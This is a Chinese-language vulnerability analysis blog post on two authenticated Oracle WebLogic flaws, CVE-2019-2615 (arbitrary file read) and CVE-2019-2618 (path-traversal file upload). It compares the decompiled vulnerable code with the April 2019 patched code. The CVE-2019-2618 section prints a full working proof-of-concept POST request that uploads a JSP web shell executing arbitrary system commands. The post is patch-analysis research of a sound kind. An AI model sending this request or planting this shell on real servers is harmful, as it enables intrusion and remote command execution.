Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

  • A+
所属分类:安全资讯
摘要

0x00背景4月17号,Oracle发布2019年4月的重要补丁更新公告,其中披露了Weblogic的多个漏洞。其中CVE-2019-2615和CVE-2019-2618的评分比较低,一个4.9,一个5.5。因为这两个漏洞都需要用户名密码的认证才可利用,所有有些鸡肋。想看下官方的修复措施,

0x00 背景

4月17号,Oracle发布2019年4月的重要补丁更新公告,其中披露了Weblogic的多个漏洞。其中CVE-2019-2615和CVE-2019-2618的评分比较低,一个4.9,一个5.5。因为这两个漏洞都需要用户名密码的认证才可利用,所有有些鸡肋。想看下官方的修复措施,故简单分析一下这两个漏洞。

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

0x01 漏洞环境

本地搭建测试环境,测试环境为:Weblogic 10.3.6.0、Windows Sercer 2008 x64、Java 1.7.0_80。

Weblogic的安装包和安装配置方法参见之前的文章Weblogic XMLDecoder 远程代码执行漏洞分析(CVE-2017-10271),里面有下载连链接。

也可以用p牛的vulhub,用docker搭建,也很方便。

远程调试的话参考这篇文章:使用 Idea 远程断点调试 Weblogic 服务器的操作步骤.weblogic的startWeblogic.cmd加上一句配置,启动weblogic。本地的IDEA新建个web项目,导入weblogic.jar包,配置下远程调试。

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

然后在相应位置打断点,debug运行,就能进入断点,看到调用的堆栈信息。

0x02 漏洞分析(CVE-2019-2615)

<1> 漏洞复现

该漏洞是任意文件读取漏洞,这个漏洞接口是文件下载相关功能使用的接口,也是weblogic server中内部使用的正常功能,所以该漏洞需要weblogic的用户名密码,所以也是个鸡肋的漏洞。

构造数据包,能读取系统任意文件。(该漏洞POC网上暂时未公布,故截图做打码处理)。不过看下面的漏洞分析,也很容易构造出来。

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

<2> 漏洞分析

该功能的关键代码在 weblogic.management.servlet.FileDistributionServlet的doGet()方法中:

public void doGet(final HttpServletRequest var1, final HttpServletResponse var2) throws ServletException, IOException {
    AuthenticatedSubject var3 = this.authenticateRequest(var1, var2);
    if(var3 != null) {
        final String var4 = var1.getHeader("wl_request_type");
        if(var3 != KERNEL_ID) {
            AdminResource var5 = new AdminResource("FileDownload", (String)null, var4);
            if(!this.am.isAccessAllowed(var3, var5, (ContextHandler)null)) {
                ManagementLogger.logErrorFDSUnauthorizedDownloadAttempt(var3.getName(), var4);
                var2.sendError(401);
                return;
            }
        }

        try {
            if(debugLogger.isDebugEnabled()) {
                debugLogger.debug("---- >doGet incoming request: " + var4);
            }

            if(var4.equals("wl_xml_entity_request")) {
                this.doGetXMLEntityRequest(var1, var2);
            } else if(var4.equals("wl_jsp_refresh_request")) {
                this.doGetJspRefreshRequest(var1, var2);
            } else if(var4.equals("file")) {
                this.doGetFile(var1, var2);
            } else if(!var4.equals("wl_init_replica_request") && !var4.equals("wl_file_realm_request") && !var4.equals("wl_managed_server_independence_request")) {
                var2.addHeader("ErrorMsg", "Bad request type");
                String var10 = Utils.encodeXSS(var4);
                var2.sendError(400, "Bad request type: " + var10);
                ManagementLogger.logBadRequestInFileDistributionServlet(var4);
            } else {
                ......
                ......
                }
            }
        } catch (Exception var9) {
            if(!Kernel.isInitialized()) {
                throw new AssertionError("kernel not initialized");
            }

            ManagementLogger.logErrorInFileDistributionServlet(var4, var9);
        }

    }
}

代码也比较简单,先取request中header的参数"wl_request_type"的值,然后判断如果该值等于“wl_xml_entity_request”、“wl_jsp_refresh_request”、“file”......则分别调用各自的方法,进入下一步判断。我们看一下如果wl_request_type的值为“wl_jsp_refresh_request”,进入doGetJspRefreshRequest()方法。我们跟入doGetJspRefreshRequest()方法:

private void doGetJspRefreshRequest(HttpServletRequest var1, HttpServletResponse var2) throws IOException {
     String var3 = var1.getHeader("adminPath");

     try {
         FileInputStream var4 = new FileInputStream(var3);

         try {
             var2.setContentType("text/plain");
             var2.setStatus(200);
             this.returnInputStream(var4, var2.getOutputStream());
         } finally {
             var4.close();
         }

     } catch (IOException var10) {
         String var5 = "I/O Exception getting resource: " + var10.getMessage();
         var2.addHeader("ErrorMsg", var5);
         var2.sendError(500, var5);
     }
 }

doGetJspRefreshRequest()方法中的“adminPath”也是request中的header参数,我们在Post包中传入要读取的文件。进入该方法中,直接使用FileInputStream类进行文件读取,故造成了所谓的“任意文件读取”漏洞。

debug时的调用栈如下:

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

看下官方的补丁包是怎么修复的:

public void doGet(HttpServletRequest arg1, HttpServletResponse arg2)
    throws ServletException, IOException
  {
    ......
    ......
    try
    {
      HttpServletResponse res;
      HttpServletRequest req;
      if (debugLogger.isDebugEnabled()) {
        debugLogger.debug("---- >doGet top of method: incoming request: " + req.getHeader("wl_request_type"));
      }
      AuthenticatedSubject user = authenticateRequest(req, res);
      if (user == null) {
        return;
      }
      String requestType = req.getHeader("wl_request_type");
      ......
      ......
      try
      {
        if (debugLogger.isDebugEnabled()) {
          debugLogger.debug("---- >doGet incoming request: " + requestType);
        }
        if (requestType.equals("wl_xml_entity_request"))
        {
          if (user != KERNEL_ID)
          {
            ManagementLogger.logErrorFDSUnauthorizedDownloadAttempt(user.getName(), requestType);
            res.sendError(401);
            return;
          }
          doGetXMLEntityRequest(req, res);
        }
        else if ((requestType.equals("wl_init_replica_request")) || (requestType.equals("wl_file_realm_request")) || (requestType.equals("wl_managed_server_independence_request")))
        {
          try
          {
            final String authRequestType = requestType;
            final HttpServletRequest authReq = req;
            final HttpServletResponse authRes = res;
            SecurityServiceManager.runAs(KERNEL_ID, user, new PrivilegedExceptionAction()
            {
              public Object run()
                throws IOException
              {
                if (authRequestType.equals("wl_init_replica_request")) {
                  FileDistributionServlet.this.doGetInitReplicaRequest(authReq, authRes);
                } else if (authRequestType.equals("wl_file_realm_request")) {
                  FileDistributionServlet.this.doGetFileRealmRequest(authRes);
                } else if (authRequestType.equals("wl_managed_server_independence_request")) {
                  FileDistributionServlet.this.doGetMSIRequest(authReq, authRes);
                }
                return null;
              }
            });
          }
          catch (PrivilegedActionException pae)
          {
            Exception e = pae.getException();
            throw e;
          }
        }
        else
        {
          res.addHeader("ErrorMsg", "Bad request type");
          String htmlEncodedRequestType = Utils.encodeXSS(requestType);
          res.sendError(400, "Bad request type: " + htmlEncodedRequestType);

          ManagementLogger.logBadRequestInFileDistributionServlet(requestType);
        }
      }
      catch (Exception e)
      {
        if (Kernel.isInitialized()) {
          ManagementLogger.logErrorInFileDistributionServlet(requestType, e);
        } else {
          throw new AssertionError("kernel not initialized");
        }
      }
      return;
    }
    finally
    {
      if (bool) {
        ......
        ......
      }
    }
  }

跟之前的代码进行对比,补丁代码直接删除了requestType的“wl_jsp_refresh_request”参数的判断,同时也删除了doGetJspRefreshRequest()方法。

所以根据补丁代码,如果我们请求中的wl_request_type为wl_jsp_refresh_request,则直接返回400错误,并提示“Bad request type”。

在打了19年4月的补丁以后:

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

发送该POC,该漏洞已无法利用,返回结果如下图所示:

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

0x03 漏洞分析(CVE-2019-2618)

<1> 漏洞复现

该漏洞是个文件上传漏洞,同样需要weblogic的用户名和密码,所以也比较鸡肋。而且weblogic的DeploymentService接口的正常功能本来就能部署war包,所以emmm......开心就好。

该漏洞的POC如下,发送POST包,即可上传shell(注意POST包中的username和password,要填入weblogic的用户名和密码)。

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 192.168.119.130:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: weblogic
password: yourpassword
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1081

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false

 <%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML> 

------WebKitFormBoundary7MA4YWxkTrZu0gW--

shell如下图所示:

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

<2> 漏洞分析

太菜了,跟了好久的代码,才找到关键代码。关键代码在weblogic.deploy.service.internal.transport.http.DeploymentServiceServlet的handlePlanOrApplicationUpload()方法。debug查看调用栈如下:

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

调用栈还是比较简单,就一个正常的上传功能,主要看DeploymentServiceServlet类的xx方法:

private final void handlePlanOrApplicationUpload(HttpServletRequest var1, HttpServletResponse var2, AuthenticatedSubject var3) throws IOException {
    String var4 = mimeDecode(var1.getHeader("wl_upload_application_name"));
    String var5 = ApplicationVersionUtils.getApplicationName(var4);
    String var6 = ApplicationVersionUtils.getVersionId(var4);
    String var7 = mimeDecode(var1.getHeader("wl_request_type"));
    if(var5 == null) {
        Loggable var24 = DeploymentServiceLogger.logRequestWithNoAppNameLoggable(var7);
        logAndSendError(var2, 403, var24);
    } else {
        String var8 = var1.getContentType();
        if(var8 != null && var8.startsWith("multipart")) {

            boolean var25 = false;
            String var10 = var1.getHeader("wl_upload_delta");
            if(var10 != null && var10.equalsIgnoreCase("true")) {
                var25 = true;
            }

            boolean var11 = var7.equals("plan_upload");
            boolean var12 = "false".equals(var1.getHeader("archive"));
            if(this.isDebugEnabled()) {
                this.debug(var7 + " request for application " + var5 + " with archive: " + var12);
            }

            String var13 = null;
            if(var6 == null || var6.length() == 0) {
                var13 = this.getUploadDirName(var5, var6, var25, var11, var12);
            }

            if(var13 == null) {
                var13 = this.getDefaultUploadDirName();
                if(var13 == null) {
                    Loggable var26 = DeploymentServiceLogger.logNoUploadDirectoryLoggable(var7, var5);
                    logAndSendError(var2, 500, var26);
                    return;
                }

                var13 = var13 + var5 + File.separator;
                if(var6 != null) {
                    var13 = var13 + var6 + File.separator;
                }
            }

           if(this.isDebugEnabled()) {
                this.debug(" +++ Final uploadingDirName : " + var13);
            }

            boolean var14 = true;
            String var15 = null;
            ......
            ......

        } else {
            Loggable var9 = DeploymentServiceLogger.logBadContentTypeServletRequestLoggable(var7, var8);
            logAndSendError(var2, 400, var9);
        }
    }
}

该方法主要是对POST包中的传入的headers进行处理,主要作用包括:获取请求包中的“wl_upload_application_name”参数,然后判断是否为空;判断“content-type”;构造上传路径等。

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

下了补丁包,看下官方是咋修复的。做了下对比,

private final void handlePlanOrApplicationUpload(HttpServletRequest req, HttpServletResponse res, AuthenticatedSubject user)
    throws IOException
  {
    String applicationId = mimeDecode(req.getHeader("wl_upload_application_name"));
    String requestType = mimeDecode(req.getHeader("wl_request_type"));
    if ((applicationId != null) && ((applicationId.contains("../")) || (applicationId.contains("/..")) || (applicationId.contains("\\..")) || (applicationId.contains("..\\"))))
    {
      Loggable l = DeploymentServiceLogger.logRequestWithInvalidAppNameLoggable(requestType, applicationId);
      logAndSendError(res, 403, l);
      return;
    }
    String applicationName = ApplicationVersionUtils.getApplicationName(applicationId);

    String versionId = ApplicationVersionUtils.getVersionId(applicationId);
    if (applicationName == null)
    {
      Loggable l = DeploymentServiceLogger.logRequestWithNoAppNameLoggable(requestType);

      logAndSendError(res, 403, l);
      return;
    }
    String contentType = req.getContentType();
    if ((contentType == null) || (!contentType.startsWith("multipart")))
    {
      Loggable l = DeploymentServiceLogger.logBadContentTypeServletRequestLoggable(requestType, contentType);

      logAndSendError(res, 400, l);
      return;
    }
    ......
    ......
}

修复的关键代码如下:

String applicationId = mimeDecode(req.getHeader("wl_upload_application_name"));
String requestType = mimeDecode(req.getHeader("wl_request_type"));
if ((applicationId != null) && ((applicationId.contains("../")) || (applicationId.contains("/..")) || (applicationId.contains("\\..")) || (applicationId.contains("..\\"))))
{
   Loggable l = DeploymentServiceLogger.logRequestWithInvalidAppNameLoggable(requestType, applicationId);
   logAndSendError(res, 403, l);
   return;
}

很明了也很粗暴,对“wl_upload_application_name”做了严格的限制:如果wl_upload_application_name参数不为空、或包含“../”、"/.."等符号,就返回错误。

在打了19年4月的补丁以后,发送该POC,漏洞已无法利用,提示application name是无效的:“Deployment service servlet recevied a request of type‘app_upload’ with an invalid application name:‘/../tmp/_WL_internal/bea_wls_internal/9j4dqk/war’”

Weblogic任意文件读取漏洞(CVE-2019-2615))and 文件上传漏洞(CVE-2019-2618)漏洞分析

0x05 参考链接

  1. Weblogic Upload Vuln(Need username password)-CVE-2019-2618

本文来源于先知社区,原文地址:https://xz.aliyun.com/t/5078

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: